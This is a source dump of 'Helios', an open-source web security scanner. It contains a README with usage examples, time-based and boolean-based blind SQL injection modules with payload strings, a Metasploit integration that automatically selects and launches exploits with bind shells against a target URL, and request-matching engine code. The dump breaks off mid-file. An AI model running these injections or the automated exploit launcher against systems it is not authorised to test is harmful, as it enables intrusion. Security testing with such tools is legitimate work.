| 38 | 39 | # Features 40 | - Uses multi-threading (very very fast) 41 | - Processes AJAX/XHR requests 42 | - Widely adaptable 43 | - No laggy interfaces, 100% console based 44 | 45 | 46 | # How to install 47 | ``` 48 | git clone https://github.com/stefan2200/Helios.git 49 | pip install -r requirements.txt 50 | python helios.py -h 51 | 52 | cd webapps/databases 53 | python update.py -a 54 | ``` 55 | 56 | # How to use (Command Line) 57 | ``` 58 | usage: helios.py: args [-h] [-u URL] [--urls URLS] 59 | [--user-agent USER_AGENT] [-a] [-o OUTFILE] 60 | [-d] [--driver-path DRIVER_PATH] 61 | [--show-driver] [--interactive] [--no-proxy] 62 | [--proxy-port PROXY_PORT] [-c] 63 | [--max-urls MAXURLS] [--scopes SCOPES] 64 | [--scope-options SCOPE_OPTIONS] [-s] [--adv] 65 | [--cms] [--webapp] [--optimize] 66 | [--options CUSTOM_OPTIONS] 67 | [--login LOGIN_TYPE] 68 | [--login-creds LOGIN_CREDS] 69 | [--login-url LOGIN_URL] 70 | [--login-data LOGIN_DATA] 71 | [--token-url TOKEN_URL] 72 | [--header LOGIN_HEADER] [--threads THREADS] 73 | [--sslverify] [--database DB] [-v] [--msf] 74 | [--msf-host MSF_HOST] [--msf-port MSF_PORT] 75 | [--msf-creds MSF_CREDS] 76 | [--msf-endpoint MSF_URI] 77 | [--msf-nossl MSF_NOSSL] [--msf-start] 78 | 79 | optional arguments: 80 | -h, --help show this help message and exit 81 | -u URL, --url URL URL to start with 82 | --urls URLS file with URL's to start with 83 | --user-agent USER_AGENT 84 | Set the user agent 85 | -a, --all Run everything 86 | -o OUTFILE, --output OUTFILE 87 | Output file to write to (JSON) 88 | 89 | Chromedriver Options: 90 | -d, --driver Run WebDriver for advanced discovery 91 | --driver-path DRIVER_PATH 92 | Set custom path for the WebDriver 93 | --show-driver Show the WebDriver window 94 | --interactive Dont close the WebDriver window until keypress 95 | --no-proxy Disable the proxy module for the WebDriver 96 | --proxy-port PROXY_PORT 97 | Set a custom port for the proxy module, default: 3333 98 | 99 | Crawler Options: 100 | -c, --crawler Enable the crawler 101 | --max-urls MAXURLS Set max urls for the crawler 102 | --scopes SCOPES Extra allowed scopes, comma separated hostnames (* can 103 | be used to wildcard) 104 | --scope-options SCOPE_OPTIONS 105 | Various scope options 106 | 107 | Scanner Options: 108 | -s, --scan Enable the scanner 109 | --adv Enable the advanced scripts 110 | --cms Enable the CMS module 111 | --webapp Enable scanning of web application frameworks like 112 | Tomcat / Jboss 113 | --optimize Optimize the Scanner engine (uses more resources) 114 | --options CUSTOM_OPTIONS 115 | Comma separated list of scan options (discovery, 116 | passive, injection, dangerous, all) 117 | 118 | Login Options: 119 | --login LOGIN_TYPE Set login method: basic, form, form-csrf, header 120 | --login-creds LOGIN_CREDS 121 | Basic Auth credentials username:password 122 | --login-url LOGIN_URL 123 | Set the URL to post to (forms) 124 | --login-data LOGIN_DATA 125 | Set urlencoded login data (forms) 126 | --token-url TOKEN_URL 127 | Get CSRF tokens from this page (default login-url) 128 | --header LOGIN_HEADER 129 | Set this header on all requests (OAuth tokens etc..) 130 | example: "Key: Bearer {token}" 131 | 132 | Advanced Options: 133 | --threads THREADS Set a custom number of crawling / scanning threads 134 | --sslverify Enable SSL verification (requests will fail without 135 | proper cert) 136 | --database DB The SQLite database to use 137 | -v, --verbose Show verbose stuff 138 | 139 | Metasploit Options: 140 | --msf Enable the msfrpcd exploit module 141 | --msf-host MSF_HOST Set the msfrpcd host 142 | --msf-port MSF_PORT Set the msfrpcd port 143 | --msf-creds MSF_CREDS 144 | Set the msfrpcd username:password 145 | --msf-endpoint MSF_URI 146 | Set a custom endpoint URI 147 | --msf-nossl MSF_NOSSL 148 | Disable SSL 149 | --msf-start Start msfrpcd if not running already 150 | 151 | 152 | 153 | Crawl and scan an entire domain 154 | helios.py -u "http://example.com/" -c -s 155 | 156 | Safe scan 157 | helios.py -u "http://example.com/" -c -s --options "passive,discovery" --adv 158 | 159 | Full scan (with unsafe scripts) 160 | helios.py -u "http://example.com/" -a --options all --max-urls 1000 161 | 162 | Scan a single URL 163 | helios.py -u "http://example.com/vuln.php?id=1" -s 164 | 165 | Scan webapps and CMS systems 166 | helios.py -u "http://example.com/blog/" --webapp --cms 167 | 168 | Pwn a web server 169 | helios.py -u "http://example.com/" --msf 170 | ``` 171 | 172 | # How to use (Module Crawler) 173 | ```python 174 | from helios.core import crawler 175 | # create new crawler class 176 | c = crawler() 177 | # run the crawler against the start url 178 | c.run("https://example.com/") 179 | # print all visited links 180 | print(c.scraped_pages) 181 | ``` 182 | 183 | # How to use (Module Scanner) 184 | ```python 185 | from helios.core import parser 186 | from helios.core import request 187 | # create new ScriptEngine class 188 | s = parser.ScriptEngine() 189 | # create an Request object 190 | req = request.Request(url="https://example.com/test.php?id=1", data={'test': 'value'}) 191 | # send the initial request 192 | req.run() 193 | s.run_scripts(req) 194 | # print all results 195 | print(s.results) 196 | ``` 197 | 198 | # What is next? 199 | - create a fully working post back crawler / scanner for ASPX/JSP type sites 200 | - generic detection script 201 | - migrate CMS scripts to webapp scripts 202 | 203 | -------------------------------------------------------------------------------- /ext/metamonster/metamonster.py: -------------------------------------------------------------------------------- 1 | import time 2 | import socket 3 | import os 4 | 5 | try: 6 | from urlparse import urlparse 7 | from Queue import Queue, Empty 8 | from rpcclient import Client 9 | from detector import PassiveDetector 10 | from meta_executor import MetaExecutor 11 | except ImportError: 12 | from urllib.parse import urlparse 13 | from queue import Queue, Empty 14 | from ext.metamonster.rpcclient import Client 15 | from ext.metamonster.detector import PassiveDetector 16 | from ext.metamonster.meta_executor import MetaExecutor 17 | 18 | 19 | class MetaMonster: 20 | client = None 21 | host = "127.0.0.1" 22 | port = 55553 23 | ssl = True 24 | endpoint = "/api/" 25 | username = "msf" 26 | password = "msf" 27 | modules = [] 28 | aggressive = True 29 | should_start = True 30 | log_level = None 31 | results = { 32 | 'working': [], 33 | 'launched': [], 34 | 'parameters': {} 35 | } 36 | 37 | os_types = [ 38 | 'windows', 39 | 'unix', 40 | 'linux', 41 | 'bsd', 42 | 'multi' 43 | ] 44 | 45 | exploit_types = [ 46 | 'http', 47 | 'webapp' 48 | ] 49 | 50 | external = {} 51 | 52 | def __init__(self, log_level): 53 | self.log_level = log_level 54 | 55 | def connect(self, server): 56 | url = "http%s://%s:%d%s" % ('s' if self.ssl else '', self.host, self.port, self.endpoint) 57 | self.client = Client(url, username=self.username, password=self.password, log_level=self.log_level) 58 | self.client.logger.info("Using %s as metasploit endpoint" % url) 59 | self.client.ssl = self.ssl 60 | if not self.client.auth(): 61 | self.client.logger.warning("Cannot start MetaMonster, msfrpcd auth was not successful") 62 | if self.should_start: 63 | self.client.logger.warning("Attempting to start msfrpcd") 64 | command = "msfrpcd -U %s -P %s -a %s -p %d %s" % ( 65 | self.username, self.password, self.host, self.port, "-S" if not self.ssl else "") 66 | command = command.strip() 67 | os.system(command) 68 | time.sleep(10) 69 | self.client = Client(url, username=self.username, password=self.password) 70 | if not self.client.auth(): 71 | self.client = None 72 | self.client = None 73 | u = urlparse(server) 74 | self.external['url'] = server 75 | self.external['host'] = u.netloc 76 | self.external['method'] = u.scheme 77 | self.external['ip'] = None 78 | self.external['port'] = u.port if u.port else 80 if server.startswith('http:') else 443 79 | self.external['os'] = None 80 | self.external['tech'] = [] 81 | 82 | self.msf = { 83 | "settings": { 84 | "shell_type": "bind_tcp", 85 | "shell_type_fallback": "bind_", 86 | "shell_port_start": 49200, 87 | "shell_port_end": 50000, 88 | "min_success": ["excellent", "good", "average"], 89 | "allow_dos": False, 90 | "gather_basic_info": False, 91 | "drop_after_successful": True, 92 | "ignore_SRVHOST": True, 93 | "ignore_privileged": True 94 | }, 95 | "parameters": { 96 | 97 | } 98 | } 99 | 100 | def get_exploits(self): 101 | if self.client and self.client.is_working: 102 | data = self.client.request("module.exploits") 103 | for x in data[b'modules']: 104 | self.modules.append(x.decode()) 105 | self.client.logger.info("Loaded %d modules for searching" % len(self.modules)) 106 | 107 | def get_parameters(self): 108 | params = {} 109 | params['VHOST'] = self.external['host'] 110 | params['RHOST'] = self.external['ip'] 111 | params['RHOSTS'] = self.external['ip'] 112 | params['RPORT'] = self.external['port'] 113 | params['SSL'] = True if self.external['method'] == "https" else False 114 | self.msf['parameters'] = params 115 | 116 | def resolve(self, hostname): 117 | try: 118 | ip = socket.gethostbyname(hostname) 119 | self.external['ip'] = ip 120 | self.client.logger.debug("%s resolves to %s" % (hostname, ip)) 121 | except: 122 | self.client.logger.error("Error resolving host %s" % hostname) 123 | pass 124 | 125 | def search(self, arch_type='', subtype='http', keyword=''): 126 | exploits = [] 127 | for m in self.modules: 128 | parts = m.split('/') 129 | try: 130 | arch, exp_type, name = parts if len(parts) == 3 else [None].extend(parts) 131 | if arch == arch_type and exp_type == subtype and keyword in m: 132 | exploits.append(m) 133 | except: 134 | pass 135 | return exploits 136 | 137 | def detect(self): 138 | self.resolve(self.external['host']) 139 | p = PassiveDetector(self.external['url']) 140 | result = p.get_page() 141 | if result: 142 | os, tech = p.detect(result) 143 | self.external['os'] = os 144 | self.external['tech'] = tech 145 | 146 | def key_db(self, keywords): 147 | if "wordpress" in keywords: 148 | keywords.append('wp_') 149 | if "drupal" in keywords: 150 | keywords.append('drupa') 151 | if "iis" in keywords: 152 | keywords.append('asp') 153 | return keywords 154 | 155 | def run_queries(self, queries): 156 | exploits = [] 157 | self.client.logger.info("Setting parameters") 158 | self.get_parameters() 159 | self.client.logger.info("Preparing exploits") 160 | for query in queries: 161 | os, sub, keyword = query 162 | dataresults = self.search(os, sub, keyword) 163 | for exploit in dataresults: 164 | if exploit not in exploits: 165 | exploits.append(exploit) 166 | self.client.logger.debug("Added exploit %s to the queue. query: %s" % (exploit, ','.join(query))) 167 | self.client.logger.info("Running %d exploits" % len(exploits)) 168 | executor = MetaExecutor(self, exploits) 169 | working_exploits = executor.start() 170 | 171 | for working in working_exploits: 172 | self.results['working'].append(working) 173 | 174 | self.results['launched'] = exploits 175 | 176 | self.results['parameters'] = self.msf['parameters'] 177 | 178 | def create_queries(self): 179 | self.client.logger.debug("Starting query creation") 180 | os_versions = [] 181 | output = [] 182 | 183 | if not self.external['os']: 184 | os_versions = self.os_types 185 | self.client.logger.debug("Could not guess OS type, using all available: %s" % ', '.join(os_versions)) 186 | elif self.external['os'] == "linux": 187 | os_versions = ['linux', 'unix', 'multi'] 188 | elif self.external['os'] == "unix": 189 | os_versions = ['linux', 'unix', 'multi'] 190 | elif self.external['os'] == "windows": 191 | os_versions = ['windows', 'multi'] 192 | self.client.logger.info("Using operating systems for search query: %s" % ', '.join(os_versions)) 193 | tech = self.external['tech'] 194 | new_list = self.key_db(tech) 195 | for i in new_list: 196 | if i not in tech: 197 | tech.append(i) 198 | 199 | for keyword in tech: 200 | for search_type in self.exploit_types: 201 | for os_version in os_versions: 202 | output.append( 203 | [os_version, search_type, keyword] 204 | ) 205 | return output 206 | -------------------------------------------------------------------------------- /modules/module_sqli_timebased.py: -------------------------------------------------------------------------------- 1 | try: 2 | from urllib import quote_plus 3 | except ImportError: 4 | from urllib.parse import quote_plus 5 | import requests 6 | import time 7 | import random 8 | import modules.module_base 9 | from core.utils import requests_response_to_dict 10 | 11 | 12 | class Module(modules.module_base.Base): 13 | def __init__(self): 14 | self.name = "Blind SQL Injection (Time Based)" 15 | self.active = True 16 | self.module_types = ['injection', 'dangerous'] 17 | self.possibilities = [ 18 | '\' or sleep({sleep_value})--', 19 | '\' or sleep({sleep_value})\\*', 20 | '-1 or sleep({sleep_value})--', 21 | '-1 or sleep({sleep_value})\\*', 22 | 'aaaaa\' or sleep({sleep_value}) or \'a\'=\'' 23 | ] 24 | self.has_read_timeout = False 25 | self.timeout_state = 0 26 | self.max_timeout_state = 6 # 60 secs 27 | self.auto = True 28 | self.headers = {} 29 | self.cookies = {} 30 | self.input = "urldata" 31 | self.output = "vulns" 32 | self.severity = 3 33 | 34 | def run(self, url, data={}, headers={}, cookies={}): 35 | if not self.active and 'passive' not in self.module_types: 36 | # cannot send requests and not configured to do passive analysis on data 37 | return 38 | base, param_data = self.get_params_from_url(url) 39 | self.cookies = cookies 40 | self.headers = headers 41 | results = [] 42 | if not data: 43 | data = {} 44 | for param in param_data: 45 | result = self.inject(base, param_data, data, parameter_get=param, parameter_post=None) 46 | if result: 47 | response, match = result 48 | results.append({'request': requests_response_to_dict(response), "match": match}) 49 | 50 | for param in data: 51 | result = self.inject(base, param_data, data, parameter_get=None, parameter_post=param) 52 | if result: 53 | response, match = result 54 | results.append({'request': requests_response_to_dict(response), "match": match}) 55 | return results 56 | 57 | def send(self, url, params, data): 58 | result = None 59 | headers = self.headers 60 | cookies = self.cookies 61 | start = time.time() 62 | # print(url, params, data) 63 | try: 64 | if data: 65 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies) 66 | else: 67 | result = requests.get(url, params=params, headers=headers, cookies=cookies) 68 | except requests.Timeout: 69 | if self.has_read_timeout: 70 | if self.timeout_state > self.max_timeout_state: 71 | self.close() 72 | return None 73 | 74 | self.timeout_state += 1 75 | sleeptime = self.timeout_state * 10 76 | time.sleep(sleeptime) 77 | return self.send(url, params, data, headers, cookies) 78 | else: 79 | self.has_read_timeout = True 80 | self.timeout_state = 1 81 | sleeptime = self.timeout_state * 10 82 | time.sleep(sleeptime) 83 | return self.send(url, params, data, headers, cookies) 84 | except Exception: 85 | return False 86 | end = time.time() 87 | eslaped = end - start 88 | return eslaped, result 89 | 90 | def validate(self, url, params, data, injection_value, original_value, parameter_post=None, parameter_get=None): 91 | min_wait_time = random.randint(5, 10) 92 | injection_true = injection_value.replace('{sleep_value}', str(min_wait_time)) 93 | injection_true = injection_true.replace('{original_value}', str(original_value)) 94 | 95 | injection_false = injection_value.replace('{sleep_value}', str(0)) 96 | injection_false = injection_false.replace('{original_value}', str(original_value)) 97 | 98 | if parameter_get: 99 | tmp = dict(params) 100 | tmp[parameter_get] = injection_true 101 | result = self.send(url, params, tmp) 102 | if result: 103 | eslaped, object = result 104 | if eslaped > min_wait_time: 105 | tmp = dict(params) 106 | tmp[parameter_get] = injection_false 107 | result = self.send(url, tmp, data) 108 | if result: 109 | eslaped, object = result 110 | if eslaped < min_wait_time: 111 | return object, eslaped 112 | else: 113 | return None 114 | else: 115 | return None 116 | else: 117 | postenc = self.params_to_url("", data)[1:] 118 | tmp = dict(data) 119 | tmp[parameter_post] = injection_true 120 | result = self.send(url, params, tmp) 121 | if result: 122 | eslaped, object = result 123 | if eslaped > min_wait_time: 124 | tmp = dict(params) 125 | tmp[parameter_post] = injection_false 126 | result = self.send(url, params, tmp) 127 | if result: 128 | eslaped, object = result 129 | if eslaped < min_wait_time: 130 | return object, eslaped 131 | else: 132 | return None 133 | else: 134 | return None 135 | 136 | def inject(self, url, params, data=None, parameter_get=None, parameter_post=None): 137 | if parameter_get: 138 | tmp = dict(params) 139 | for injection_value in self.possibilities: 140 | min_wait_time = random.randint(5, 10) 141 | payload = injection_value.replace('{sleep_value}', str(min_wait_time)) 142 | payload = payload.replace('{original_value}', str(params[parameter_get])) 143 | tmp[parameter_get] = payload 144 | result = self.send(url, tmp, data) 145 | if result: 146 | eslaped, object = result 147 | if eslaped > min_wait_time: 148 | check_result = self.validate(url, params, data, injection_value, original_value=params[parameter_get], parameter_post=None, 149 | parameter_get=parameter_get) 150 | if check_result: 151 | return (object, 152 | {"injection": payload, 153 | "parameter": parameter_get, 154 | "location": "url", 155 | "server_sleep": eslaped 156 | }) 157 | return False 158 | if parameter_post: 159 | tmp = dict(data) 160 | for injection_value in self.possibilities: 161 | min_wait_time = random.randint(5, 10) 162 | payload = injection_value.replace('{sleep_value}', str(min_wait_time)) 163 | payload = payload.replace('{original_value}', str(data[parameter_post])) 164 | tmp[parameter_post] = payload 165 | result = self.send(url, params, tmp) 166 | if result: 167 | eslaped, object = result 168 | if eslaped > min_wait_time: 169 | check_result = self.validate(url, params, data, injection_value, original_value=data[parameter_post], parameter_post=parameter_post, 170 | parameter_get=None) 171 | if check_result: 172 | return (object, 173 | {"injection": payload, 174 | "parameter": parameter_post, 175 | "location": "body", 176 | "server_sleep": eslaped 177 | }) 178 | return False 179 | 180 | 181 | 182 | -------------------------------------------------------------------------------- /modules/module_sqli_booleanbased.py: -------------------------------------------------------------------------------- 1 | try: 2 | from urllib import quote_plus 3 | except ImportError: 4 | from urllib.parse import quote_plus 5 | import requests 6 | import random 7 | import modules.module_base 8 | from core.utils import requests_response_to_dict, random_string 9 | 10 | 11 | class Module(modules.module_base.Base): 12 | def __init__(self): 13 | self.name = "Blind SQL Injection (Boolean Based)" 14 | self.active = True 15 | self.module_types = ['injection'] 16 | self.possibilities = { 17 | 'bool_int_and': "{original_value} AND ({query})", 18 | 'bool_int_and_comment': "{original_value} AND ({query})--", 19 | 'bool_int_or': "-1 OR ({query})", 20 | 'bool_int_or_comment': "-1 OR ({query})--", 21 | 'bool_int_and_group_comment': "{original_value}) AND ({query})--", 22 | 'bool_str_and': "{original_value}' AND ({query}) OR 'a'='b", 23 | 'bool_str_or': "invalid' OR ({query}) OR 'a'='b", 24 | 'bool_str_and_comment': "{original_value}' AND ({query})--", 25 | 'bool_str_or_comment': "invalid' OR ({query})--", 26 | 'bool_str_and_group_comment': "{original_value}') AND ({query})--", 27 | } 28 | 29 | self.can_use_content_length = True 30 | self.is_stable = True 31 | self.severity = 3 32 | 33 | self.auto = True 34 | self.headers = {} 35 | self.cookies = {} 36 | self.input = "urldata" 37 | self.output = "vulns" 38 | self.aggressive = False 39 | 40 | def run(self, url, data={}, headers={}, cookies={}): 41 | if not self.active and 'passive' not in self.module_types: 42 | # cannot send requests and not configured to do passive analysis on data 43 | return 44 | base, param_data = self.get_params_from_url(url) 45 | self.cookies = cookies 46 | self.headers = headers 47 | results = [] 48 | if not data: 49 | data = {} 50 | for param in param_data: 51 | result = self.inject(base, param_data, data, parameter_get=param, parameter_post=None) 52 | if result: 53 | response, match = result 54 | results.append({'request': requests_response_to_dict(response), "match": match}) 55 | 56 | for param in data: 57 | result = self.inject(base, param_data, data, parameter_get=None, parameter_post=param) 58 | if result: 59 | response, match = result 60 | results.append({'request': requests_response_to_dict(response), "match": match}) 61 | return results 62 | 63 | def send(self, url, params, data=None): 64 | result = None 65 | headers = self.headers 66 | cookies = self.cookies 67 | try: 68 | if data: 69 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies) 70 | else: 71 | result = requests.get(url, params=params, headers=headers, cookies=cookies) 72 | 73 | except Exception: 74 | return False 75 | return result 76 | 77 | def getlen(self, response): 78 | if not response: 79 | return 0 80 | if self.can_use_content_length: 81 | for header in response.headers: 82 | if header.lower() == 'content-length': 83 | return int(response.headers[header]) 84 | self.can_use_content_length = False 85 | return len(response.text) 86 | 87 | def inject(self, url, params, data=None, parameter_get=None, parameter_post=None): 88 | if parameter_get: 89 | tmp = dict(params) 90 | ogvalue = tmp[parameter_get] 91 | 92 | get_firstpage = self.send(url, tmp, data) 93 | firstpage_len = self.getlen(get_firstpage) 94 | 95 | get_firstpage_two = self.send(url, tmp, data) 96 | second_page = self.getlen(get_firstpage_two) 97 | if second_page != firstpage_len: 98 | # cannot check with random page length (dynamic content) 99 | return False 100 | rstring = random_string() 101 | tmp[parameter_get] = rstring 102 | check_reflection = self.send(url, params=tmp, data=data) 103 | if rstring in check_reflection.text: 104 | # query values are reflected, cannot test using only page length 105 | return False 106 | tmp[parameter_get] = ogvalue 107 | 108 | for injection in self.possibilities: 109 | injection_query = self.possibilities[injection] 110 | 111 | random_true = random.randint(9999, 999999) 112 | random_false = random_true + 1 113 | 114 | query_true = "%d=%d" % (random_true, random_true) 115 | query_false = "%d=%d" % (random_true, random_false) 116 | 117 | injection_query_true = injection_query.replace('{original_value}', ogvalue) 118 | injection_query_true = injection_query_true.replace('{query}', query_true) 119 | 120 | tmp[parameter_get] = injection_query_true 121 | page_data = self.send(url, params=tmp, data=data) 122 | 123 | datalen_true = self.getlen(page_data) 124 | 125 | if True: 126 | # might be vulnerable because query caused original state 127 | injection_query_false = injection_query.replace('{original_value}', ogvalue) 128 | injection_query_false = injection_query_false.replace('{query}', query_false) 129 | 130 | tmp[parameter_get] = injection_query_false 131 | get_data = self.send(url, params=tmp, data=data) 132 | datalen = self.getlen(get_data) 133 | if get_data and datalen != datalen_true: 134 | return (get_data, {"injection": injection.upper(), 135 | "parameter": parameter_get, 136 | "location": "url", 137 | "query_true": injection_query_true, 138 | "query_false": injection_query_false, 139 | "states": { 140 | "true_length": datalen_true, 141 | "false_length": datalen 142 | }}) 143 | 144 | if parameter_post: 145 | tmp = dict(data) 146 | ogvalue = tmp[parameter_post] 147 | 148 | get_firstpage = self.send(url, params, tmp) 149 | firstpage_len = self.getlen(get_firstpage) 150 | 151 | get_firstpage_two = self.send(url, params, tmp) 152 | second_page = self.getlen(get_firstpage_two) 153 | if second_page != firstpage_len: 154 | # cannot check with random page length (dynamic content) 155 | return False 156 | 157 | rstring = random_string() 158 | tmp[parameter_post] = rstring 159 | check_reflection = self.send(url, params=params, data=tmp) 160 | if rstring in check_reflection.text: 161 | # query values are reflected, cannot test using only page length 162 | return False 163 | tmp[parameter_post] = ogvalue 164 | 165 | for injection in self.possibilities: 166 | injection_query = self.possibilities[injection] 167 | 168 | random_true = random.randint(9999, 999999) 169 | random_false = random_true + 1 170 | 171 | query_true = "%d=%d" % (random_true, random_true) 172 | query_false = "%d=%d" % (random_true, random_false) 173 | 174 | injection_query_true = injection_query.replace('{original_value}', ogvalue) 175 | injection_query_true = injection_query_true.replace('{query}', query_true) 176 | 177 | tmp[parameter_post] = injection_query_true 178 | page_data = self.send(url, params=params, data=tmp) 179 | if str(random_true) in page_data.text: 180 | # query values are reflected, cannot test using only page length 181 | continue 182 | 183 | datalen_true = self.getlen(page_data) 184 | 185 | if True: 186 | # might be vulnerable because query caused original state 187 | injection_query_false = injection_query.replace('{original_value}', ogvalue) 188 | injection_query_false = injection_query_false.replace('{query}', query_false) 189 | 190 | tmp[parameter_post] = injection_query_false 191 | get_postdata = self.send(url, params=data, data=tmp) 192 | datalen = self.getlen(get_postdata) 193 | if get_postdata and datalen != datalen_true: 194 | return (get_postdata, {"injection": injection.upper(), 195 | "parameter": parameter_post, 196 | "location": "url", 197 | "query_true": injection_query_true, 198 | "query_false": injection_query_false, 199 | "states": { 200 | "true_length": datalen_true, 201 | "false_length": datalen 202 | }}) 203 | return None 204 | -------------------------------------------------------------------------------- /core/engine.py: -------------------------------------------------------------------------------- 1 | import re 2 | import fnmatch 3 | from core.utils import * 4 | from core.request import * 5 | import copy 6 | try: 7 | from urlparse import urljoin, urlparse 8 | except ImportError: 9 | from urllib.parse import urljoin, urlparse 10 | 11 | 12 | class Engine: 13 | script = {} 14 | 15 | 16 | class CookieLib: 17 | cookiefile = None 18 | cookies = { 19 | 20 | } 21 | parsed = {} 22 | domain = None 23 | 24 | def __init__(self, cookiefile=None): 25 | self.cookiefile = cookiefile 26 | 27 | def set(self, string): 28 | string = string.replace('; ', ';') 29 | parts = string.split(';') 30 | p = parts[0] 31 | p = p.strip() 32 | cookie_key, cookie_value = p.split('=') 33 | secure = "Secure" in parts 34 | httponly = "HttpOnly" in parts 35 | self.parsed[cookie_key] = { 36 | "value": cookie_value, 37 | "is_secure": secure, 38 | "is_httponly": httponly 39 | } 40 | # if not cookie_key in self.cookies: 41 | # print("[COOKIELIB] Cookie %s=%s was set" % (cookie_key, cookie_value)) 42 | 43 | self.cookies[cookie_key] = cookie_value 44 | 45 | def append(self, cookieset): 46 | for key in cookieset: 47 | self.parsed[key] = {"value": cookieset[key], "is_secure": False, "is_httponly": True} 48 | self.cookies[key] = cookieset[key] 49 | 50 | def get(self): 51 | outstr = "" 52 | if len(self.cookies) == 0: 53 | return None 54 | for c in self.cookies: 55 | outstr += "%s=%s; " % (c, self.cookies[c]["value"]) 56 | return outstr[:-2] 57 | 58 | def autoparse(self, headers): 59 | plain = multi_to_lower(headers) 60 | if 'set-cookie' in plain: 61 | self.set(plain['set-cookie']) 62 | 63 | 64 | class MatchObject: 65 | is_ok = True 66 | match_type = "" 67 | match = "" 68 | match_location = "" # body, headers, cookie 69 | options = [] 70 | name = "Template, please set name" 71 | 72 | def __init__(self, mtype, match, location, name, options=[]): 73 | self.match_type = mtype 74 | self.match_location = location 75 | self.match = match 76 | self.options = options 77 | self.name = name 78 | self.test_regex() 79 | 80 | def test_regex(self): 81 | if self.match_type == "regex": 82 | try: 83 | re.compile(self.match) 84 | except Exception as e: 85 | print("Compilation of regex %s has failed, disabling script" % self.match) 86 | print("Error: %s" % str(e)) 87 | self.is_ok = False 88 | 89 | def run(self, response_object): 90 | if not response_object: 91 | return False 92 | if self.match_location == "status_code": 93 | if self.match_type == "contains": 94 | if self.match in str(response_object.code): 95 | return "(%s) status code: %s was found" % (self.name, self.match) 96 | if self.match_type == "equals": 97 | try: 98 | if response_object.code == int(self.match): 99 | return "(%s) status code: %s was found" % (self.name, self.match) 100 | except: 101 | pass 102 | 103 | if self.match_location == "body": 104 | search = response_object.text 105 | if "ignore_case" in self.options: 106 | search = search.lower() 107 | 108 | if "ascii" in self.options: 109 | search = search.encode('ascii', 'ignore') 110 | 111 | if "utf-8" in self.options: 112 | search = search.encode('utf-8', 'ignore') 113 | 114 | if self.match_type == "contains": 115 | if self.match in search: 116 | return "Match: %s was found" % self.match 117 | 118 | if self.match_type == "regex": 119 | r = re.compile(self.match) 120 | regresult = r.search(search) if "multi_line" not in self.options else r.search(search, re.MULTILINE) 121 | if regresult: 122 | matches = ', '.join(regresult.groups()) if len(regresult.groups()) > 0 else None 123 | if 'strip_newlines' in self.options and matches: 124 | matches = matches.replace("\n", "") 125 | return "Regex Match: %s was found %s" % (self.match, "match : %s" % matches if matches else '') 126 | 127 | if self.match_type == "fnmatch": 128 | if fnmatch.fnmatch(search, self.match): 129 | return "fnmatch: %s was found" % self.match 130 | 131 | if self.match_location == "headers": 132 | headers = response_object.headers 133 | if "ignore_case" in self.options: 134 | headers = multi_to_lower(headers, also_values="ignore_case_values" in self.options) 135 | 136 | if self.match_type == "exists": 137 | if self.match in headers: 138 | return "Header %s: %s exists" % (self.match, headers[self.match]) 139 | 140 | if self.match_type.startswith('contains:'): 141 | key = self.match_type.replace('contains:', '') 142 | if key in headers: 143 | if self.match in headers[key]: 144 | return "Header %s: %s matches %s" % (key, headers[key], self.match) 145 | 146 | if self.match_type.startswith("regex:"): 147 | key = self.match_type.replace('regex:', '') 148 | if key in headers: 149 | r = re.compile(self.match) 150 | if r.search(headers[key]): 151 | return "Regex Match: %s was found on header %s: %s" % (self.match, key, headers[key]) 152 | return False 153 | 154 | 155 | class CustomRequestBuilder: 156 | root_url = "" 157 | match = None 158 | url = "" 159 | data = None 160 | headers = {} 161 | options = [] 162 | 163 | def __init__(self, url, data, headers={}, options=[]): 164 | self.url = url 165 | self.data = data 166 | self.headers = headers 167 | 168 | def run(self): 169 | newurl = "" 170 | if "rootdir" in self.options: 171 | data = urlparse(self.root_url) 172 | result = '{uri.scheme}://{uri.netloc}/'.format(uri=data) 173 | newurl = urljoin(result, self.url) 174 | else: 175 | newurl = urljoin(self.root_url, self.url) 176 | request = Request( 177 | url=newurl, 178 | data=self.data, 179 | headers=self.headers 180 | ) 181 | request.run() 182 | if request.is_ok and request.is_done: 183 | return request 184 | return False 185 | 186 | 187 | class RequestBuilder: 188 | initial_request = None 189 | itype = None 190 | value = None 191 | debug = False 192 | results = [] 193 | name = "" 194 | 195 | def __init__(self, req, inject_type, inject_value, matchobject, name): 196 | self.initial_request = copy.copy(req) 197 | self.itype = inject_type 198 | self.value = inject_value 199 | self.m = matchobject 200 | self.value = self.value.replace('{null}', '\0') 201 | self.name = name 202 | 203 | def execute(self, new_request): 204 | new_request.run() 205 | if new_request.is_done and new_request.is_ok: 206 | return new_request.response 207 | return None 208 | 209 | def test(self, response): 210 | if self.debug: 211 | print(response.to_string()) 212 | for match in self.m: 213 | result = match.run(response) 214 | if result: 215 | return result 216 | return None 217 | 218 | def found(self, response, match): 219 | mobj = {"request": response_to_dict(response), "match": match} 220 | if mobj not in self.results: 221 | self.results.append(mobj) 222 | 223 | def run_on_parameters(self): 224 | original_url = self.initial_request.url 225 | if "?" in self.initial_request.url: 226 | url, parameters = self.initial_request.url.split('?') 227 | params = params_from_str(parameters) 228 | tmp = {} 229 | for p in params: 230 | tmp = dict(params) 231 | tmp[p] = self.value.replace('{value}', params[p]) 232 | request = self.initial_request 233 | request.url = "%s?%s" % (url, params_to_str(tmp)) 234 | response = self.execute(request) 235 | result = None 236 | result = self.test(response) 237 | if result: 238 | self.found(response, result) 239 | if self.initial_request.data: 240 | data = self.initial_request.data 241 | if type(data) == str: 242 | data = params_from_str(data) 243 | tmp = {} 244 | for p in data: 245 | tmp = dict(data) 246 | if not data[p]: 247 | data[p] = "" 248 | tmp[p] = self.value.replace('{value}', data[p]) 249 | request = self.initial_request 250 | request.url = original_url 251 | request.data = tmp 252 | response = self.execute(request) 253 | result = self.test(response) 254 | if result: 255 | self.found(response, result) 256 | 257 | def run(self): 258 | self.results = [] 259 | if "parameters" in self.itype: 260 | self.run_on_parameters() 261 | return self.results 262 | -------------------------------------------------------------------------------- /core/scripts.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | from core.engine import MatchObject, CustomRequestBuilder, RequestBuilder 4 | from core.utils import has_seen_before, response_to_dict 5 | import sys 6 | import logging 7 | try: 8 | import urlparse 9 | except ImportError: 10 | import urllib.parse as urlparse 11 | 12 | 13 | class ScriptEngine: 14 | scripts_active = [] 15 | scripts_fs = [] 16 | scripts_passive = [] 17 | results = [] 18 | triggers = [] 19 | can_fs = True 20 | can_exploit = True 21 | s = 